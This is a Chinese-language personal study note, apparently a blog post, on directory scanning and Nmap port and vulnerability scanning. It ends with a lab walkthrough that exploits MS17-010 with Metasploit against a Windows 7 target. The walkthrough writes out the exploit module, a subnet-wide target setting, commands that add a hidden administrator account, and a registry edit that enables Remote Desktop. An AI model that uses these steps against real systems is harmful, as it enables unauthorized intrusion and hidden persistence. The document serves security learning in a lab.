（本文仅为平时学习记录，若有错误请大佬指出，如果本文能帮到你那我也是很开心啦）
一、定义
目录扫描：扫描站点的目录，寻找敏感文件（目录名、探针文件、后台、robots.txt、备份文件）
- 目录：站点结构，权限控制不严格（列目录）
- 探针文件：服务器配置信息，phpinfo.php、readme.txt、config.txt
- 后台：登录管理整个网站的入口，inurl:admin.php、inurl:admin.asp
- robots.txt：一般存放在站点根目录，如果管理员对于robots.txt文件管理不合理，就会造成信息泄露
- 备份文件：数据库备份文件、网站备份文件等 .bak .zip www.rar
二、扫描工具
1.御剑后台扫描工具：
2.DirBuster：需要依赖Java的配置环境
- 原理：使用字典，做请求
3.Nmap
三、Nmap
1.定义
Nmap：最早是Linux中的扫面和嗅探工具，网络连接扫描工具，主要负责探测主机存活（是否开机）、开启服务（扫端口）、安全性问题（高级用法//script）、系统类型（OS类型）
2.安装Nmap需要配置环境变量
3.命令行模式的用法：
1 nmap -h 帮助信息
2 nmap 目标IP 扫描单个IP
- 状态：
| 状态 | 含义 |
| open |
开启 |
| closed |
关闭 |
| filtered |
数据包被过滤，探测包被拦截，无法定位端口 是否开启 |
| unfiltered |
数据包未过滤，探测包没有被拦截， nmap无法判断该端口是否开启 |
| open|filtered |
开放或者被过滤 |
| closed|filtered |
关闭或者被过滤 |
nmap 192.168.211.0/24 扫描整个网段
- Nmap的用法
1 nmap 192.168.1.10-200 扫描指定网段的网络 2 nmap 192,168.1.10,100,200-230 扫描10，100，200-230的网络 3 nmap 192.168.1.0/24 10.10.10.0/24 扫描不同网段 4 nmap -iL filename 扫描目标文件 5 nmap -iR 随机选择目标去探测 6 nmap -sS -PS80 -iR 0（无休止去扫描） -p80 7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255（广播包）,4-20 排除某些指定的IP去扫描 8 nmap -iL filename1 --excludefile filename2 其中filename1是需要扫描的，filename2不需要扫描
4.带有参数的扫描：
nmap -sT 192.168.1.1 使用TCP全连接方式，扫描过程需要三次握手，和端口建立连接，建立连接，说明端口开放，但是扫描速度慢
1 nmap -sN 192.168.1.1 = nmap 192.168.1.1 NULL扫描，发出的数据包不设置任何的标识位 2 nmap -p3306,5432 192.168.1.1 扫描指定端口 3 nmap -p- = -p1-65535 扫描所有端口 4 nmap -sV 192.168.1.1 探测服务版本
1 nmap 192.168.1.1 >./re.txt 将扫描结果重定向到re.txt中 2 nmap 192.168.1.1 -oX ./Desktop/re.xml 将扫描结果写进re.xml中
- 用浏览器打开re.xml，可以看到NMAP的扫描报告
nmap -A 192.168.1.1 获取目标所有的详细结构，全面扫描
nmap -O 192.168.1.1 探测操作系统类型
nmap --script 使用脚本去探测漏洞，后跟脚本
- Nmap自带的脚本
1 nmap --script smb-vuln-ms17-010 192.168.1.1 探测永痕之蓝 2 nmap --script smb-check-vulns 192.168.1.1 MS08-067，探测MSP的溢出漏洞 3 nmap --script ssl-heartbleed 192.168.1.1 探测心脏滴血
四、使用Nmap扫描kali服务器
1.查看kali服务器与宿主机的连通性
2.要使用Nmap扫描kali服务器，就要开启kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服务
1 /etc/init.d/apache2 start 启动HTTP服务
2 /etc/init.d/apache2 status 查看HTTP服务状态
/etc/init.d/ssh status 查看SSH服务状态
1 /etc/init.d/postgresql start 启动PostgreSQL服务
2 /etc/init.d/postgresql status 查看PostgreSQL服务状态
1 /etc/init.d/mysql start 启动MySQL服务
2 /etc/init.d/mysql status 查看MySQL服务状态
apt install samba 安装Samba
1 /etc/init.d/smbd start 开启Samba服务
2 /etc/init.d/smbd status 查看Samba服务状态
apt install vsftpd 安装Vsftp服务
1 /etc/init.d/ vsftpd start 开启Vsftp服务
2 /etc/init.d/ vsftpd status 查看Vsftp服务状态
netstat -ntulp|grep smbd 查看Smbd服务的端口状态
netstat -ntulp|grep 3306 查看MySQL服务的端口状态
netstat -ntulp|grep 5432 查看PostgreSQL服务的端口状态
3.使用Nmap扫描kali服务器
1 nmap kali服务器的IP 扫描kali服务器 2 nmap -p5432 kali服务器的IP 扫描5432端口信息，即PostgreSQL服务信息 3 nmap -p3306 kali服务器的IP 扫描3306端口信息，即MySQL服务信息
- 下图可以看到，扫描结果显示5432端口和3306端口是关闭状态，因为MySQL不允许外联
五、使用kali中的Metasploit通过MS17-010永痕之蓝获取系统权限
攻击者：kali服务器
靶机：Windows 7 系统
1.关闭Win7系统中的防火墙，并查看攻击者与靶机的连通性
2.查看kali中是否有smb-vuln-ms17-010.nse的脚本，开启kali中的postgresql数据库并使用nmap --script参数调用smb-vuln-ms17-010.nse脚本检测MS17-010漏洞
1 whereis nmap 查找Nmap的位置 2 cd /usr/share/nmap 进入Nmap 3 cd scripts/ 进入Nmap存放脚本的文件 4 find . -name /*smb*/ 查找永痕之蓝
-
/usr/bin 里面装着二进制文件 相当于快捷方式
- vulnerable表示有漏洞，受威胁，Risk factor: High表示风险高；not vulnerable无漏洞
- 这里检测出了ms17-010漏洞
3.这里先介绍几个在Metasploit中经常会用到的工具
1 cd /usr/share/metasploit-framework 2 cd modules
- auxiliary：辅助模块
- encoders：供Msfencode编码工具使用，具体可使用msfencode -l
- exploits：攻击模块，每个介绍msf的文章都会提到那个ms08_067_netapi，它就在这个目录
- payloads：这里面列出的是攻击载荷，也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
- post：后渗透阶段模块，在获得meterpreter的shell之后可以使用的攻击代码。比如常用的hashdump，arp_scanner就在这里
（常用工具知识点出自CSDN博主「the__apollo」，原文链接：https://blog.csdn.net/the__apollo/article/details/70475962十分详细，感谢！）
4.在上面使用Nmap时检测出了ms17-010漏洞，开启Metasploit并使用Metasploit查找渗透模块
1 Metasploit 开启Msf 2 search 17-010 搜索cve（漏洞编号前缀）17-010相关的EXP（漏洞利用脚本）
-
auxiliary/scanner/smb/smb_ms17_010 scanner和nmap一样：扫描漏洞是否存在
- exploit/windows/smb/ms17_010_eternalblue 用来做攻击的EXP
5.探测漏洞是否存在
1 use auxiliary/scanner/smb/smb_ms17_010 探测漏洞是否存在 2 show options 查看所需设置的参数
6.上图可以看到RHOST(远程IP地址)还没有设置，设置远程地址，并运行攻击测试
1 set rhosts 192.168.1.0/24 设置远程IP为靶机的整个网段 2 run 运行攻击测试
- 下图可以看到，在扫描的全部网段中，可探测到目标IP存在漏洞
7.使用攻击模块，设置远程地址，并运行攻击测试
8.攻击成功，进行测试，并在靶机里加入一个隐藏用户（隐藏用户后面加$），提升隐藏用户的权限，方便我们后续的操作测试
1 net user host$ host$的密码 /add 添加隐藏用户host$ 2 net localgroup administrators host$ /add 将host$用户加入到管理员组中，从而提升权限 3 net user host$ 查看host$用户信息
9.查看Windows远程桌面的服务端口是否开启
1 netstat -ano|findstr 3389 查看远程桌面端口状态 2 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 开启终端服务 3 net user administrator /active：yes 激活管理员用户
10.新开一个终端，使用远程桌面连接的靶机，进行操作
1 rdesktop 靶机的IP 使用远程桌面连接靶机
- 连接靶机，连接成功，进入以下界面，是用隐藏用户登录靶机，攻击成功！！！
